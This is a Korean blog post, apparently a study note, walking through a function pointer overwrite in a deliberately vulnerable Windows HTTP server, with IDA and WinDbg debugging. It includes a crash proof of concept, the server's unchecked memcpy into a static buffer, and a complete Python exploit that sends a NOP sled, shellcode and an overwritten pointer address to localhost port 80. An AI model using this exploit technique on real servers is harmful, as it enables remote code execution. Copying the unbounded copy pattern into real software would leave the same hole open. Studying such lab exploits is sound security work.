System Hacking/windows

[Windows] Function Pointer Overwrite

zz! 2025. 6. 13. 23:57
728x90
static char log_buf[500] = {0,};
static int (* log_func)(void) = NULL;

strcpy(log_buf, buf);
log_func();

static 변수를 사용하면 메모리의 data 섹션에 변수가 할당된다. data 섹션은 힙 메모리와 마찬가지로 순차적으로 사용되고 data 섹션 공격 기법도 힙과 거의 동일하다. 버퍼에 500바이트 이상의 문자열이 입력되면 strcpy가 할당된 버퍼를 모두 채운 후 추가적으로 메모리들을 덮어쓰게 할 것이다.

 

스택과 같이 EBP, RET가 존재하지 않으므로 덮어쓴다 해서 무조건 공격에 성공하는 것은 아니지만 이와 같이 함수 포인터를 덮어쓸 수 있을 경우, 기존의 포인터가 가리키고 있던 주소 값을 원하는 주소로 변경할 수 있다.

쉘코드를 어디에 올려놓고, 쉘코드 주소로 함수 포인터를 변경해 두면 해당 함수 포인터를 호출하는 순간 쉘코드가 실행이 된다.

웹 서버는 서버에 접속한 브라우저에게 단순히 문자열을 전송합니다. 

아래의 코드는 정상적인 패킷 대신에 1000개의 'A' 문자열을 80번 포트로 전송합니다.

from socket import *
PAYLOAD = 'A' * 1000
print ("[+] Sendiing Packet...")
s = socket(AF_INET,SOCK_STREAM,0)
s.connect(('127.0.0.1', 80))
s.send(("GET /" + PAYLOAD).encode())
print(s.recv(150))
s.close()

위에 코드를 실행 하면 함수 포인터가 0x41414141로 바꼇습니다.

소스 코드를 확인해보겠습니다.

static char log_buf[500] = {0,};

로그 버퍼

static int (* log_func)(void) = NULL;

로그 함수 포인터

int parse(SOCKET sock, char *buf){
    char url[1000] = {0,};

URL 저장 변수

if (strcmp(method,"GET") == 0){
        sprintf(send_buf,
            "HTTP/1.1 200 OK\n"
            "Server: simple web server\n"
            "Content-Type: text/html\n\n"
            "<html>\n"
            "<body>\n"
            "Welcome To My WebServer !!\n"
            "</body>\n"
            "</html>"
        );
        send(sock, send_buf, sizeof(send_buf), 0);
        log_func = log_GET;
    } else {
        sprintf(send_buf,
            "HTTP/1.1 404 Not Found\n"
            "Server: simple web server\n"
            "Content-Type: text/html\n\n"
            "<html>\n"
            "<body>\n"
            "Page Not Found!!\n"
            "</body>\n"
            "</html>"
        );
        send(sock, send_buf, sizeof(send_buf), 0);
        log_func = log_POST;
    }

log_func == log_GET; // 함수 포인터에 함수 지정

log_func = log_POST; // 함수 포인터에 함수 지정

memcpy(log_buf, url, strlen(url));

버퍼 오버플로우 발생

log_func();

크래시가 발생

 

memcpy 함수는 복사할 길이를 입력받는 함수임에도 버퍼 오버플로우가 발생합니다. 원인은 문자열의 길이를 지정하지 않고 사용자에게 입력받은 값으로 동적으로 문자열의 길이를 계산하기 때문입니다. 실제로 프로그래머가 이렇게 문자열의 길이를 고려하지 않는 실수는 자주 발생합니다.

url이 500바이트 이상 입력되면 log_buf를 넘어서서 힙 메모리를 덮어쓰게 됩니다. 이때 버퍼 바로 아래에 위치한 함수 포인터를 덮어쓰게 되고, 함수 포인터를 호출할 때 엉뚱한 주소가 호출되어 크래시가 발생한 것이다.

ida로 함수이름을 찾도록 하자 ㅇㅇ

411380 근거는 여기서 오버플로우를 발생시킴

그리고 memcpy함수를 찾아서 그 위치에 windbg로 bp를 걸어줍시다. 이미지 베이스 동일한지 확인하고

windbg

bp 4114fe

한번 멈출텐데 아까 그 쉘코드 실행 ㄱ

Breakpoint 0 hit
eax=000001f7 ebx=00330000 ecx=0019f144 edx=7f406023 esi=00411055 edi=00411055
eip=004114fe esp=0019e914 ebp=0019f52c iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
vul_HTTP_server+0x114fe:
004114fe e8cafbffff      call    vul_HTTP_server+0x110cd (004110cd)

 

 

ㅇ인자값을 확인을 해보면 다음과 같다.

eax는 길이

ecx 우리의 쉘코드

416120h 버퍼 주소

버퍼의 주소인 0x416120의 값을 한번 봐보면 다음과 같다.

아직 복사하기 전이라서 그렇다.

0:000> dd 416120h
00416120  00000000 00000000 00000000 00000000
00416130  00000000 00000000 00000000 00000000
00416140  00000000 00000000 00000000 00000000
00416150  00000000 00000000 00000000 00000000
00416160  00000000 00000000 00000000 00000000
00416170  00000000 00000000 00000000 00000000
00416180  00000000 00000000 00000000 00000000
00416190  00000000 00000000 00000000 00000000
00416310  00000000 00411032

내려가다 보면 함수포잉ㄴ터가 존재한다.

다시 한번 실행을 해보면

00416300  41414141 41414141 41414141 41414141
00416310  41414141 00416124

함수 포인터를 바꾼것을 알 수 있다.

 

# vul_http_server Exploit by hyunmini
import struct
from socket import *

NOP = b"\x90" * 200
SHELLCODE  = b"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
SHELLCODE += b"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
SHELLCODE += b"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
SHELLCODE += b"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
SHELLCODE += b"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
SHELLCODE += b"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x69\x21"
SHELLCODE += b"\x21\x01\x68\x6e\x6d\x69\x6e\x68\x20\x68\x79\x75\x89\xe1\xfe"
SHELLCODE += b"\x49\x0b\x31\xc0\x51\x50\xff\xd7"

print("Shellcode Length:", len(SHELLCODE))

DUMMY = b"A" * (499 - len(NOP + SHELLCODE))
BUF = struct.pack('<L', 0x00416124)

PAYLOAD = NOP + SHELLCODE + DUMMY + BUF

print("[+] Sending Packet...")
s = socket(AF_INET, SOCK_STREAM)
s.connect(('127.0.0.1', 80))
s.send(b"GET /" + PAYLOAD + b" HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n")
print(s.recv(150).decode(errors="ignore"))
s.close()
728x90